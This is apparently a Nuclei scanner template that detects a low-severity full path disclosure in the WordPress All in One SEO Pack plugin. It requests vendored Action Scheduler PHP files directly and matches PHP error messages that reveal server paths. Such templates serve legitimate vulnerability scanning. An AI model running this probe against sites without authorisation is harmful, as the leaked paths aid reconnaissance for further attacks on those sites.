id: wp-all-in-one-seo-pack-fpd

info:
  name: WordPress All in One SEO Pack - Full Path Disclosure
  author: theamanrawat,DhiyaneshDk
  severity: low
  description: |
    All in One SEO Pack for WordPress contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  reference:
    - https://wordpress.org/plugins/all-in-one-seo-pack/
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/all-in-one-seo-pack/"
  tags: debug,wordpress,wp,wp-plugin,all-in-one-seo-pack,fpd

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/classes/ActionScheduler_AdminView.php"
      - "{{BaseURL}}/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/classes/ActionScheduler_ListTable.php"
      - "{{BaseURL}}/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/classes/abstracts/ActionScheduler_Abstract_QueueRunner.php"
      - "{{BaseURL}}/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/classes/abstracts/ActionScheduler_Store.php"
      - "{{BaseURL}}/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/classes/abstracts/ActionScheduler_Abstract_ListTable.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Fatal error", "Uncaught Error") || contains_all(body, "Warning:", "failed to open stream")'
          - 'status_code == 200 || status_code == 500'
          - 'contains(body, "all-in-one-seo-pack")'
        condition: and
# digest: 4a0a00473045022100fecd25b55d3357c7cde3d95f36ef59503a7426d466fe84c3f96c6b9edb2c752702202c5c1f8f7cc8a14262085e068a7efc6ba8743651b34b1c79f9472cd8729d3a43:922c64590222798bb761d5b6d8e72950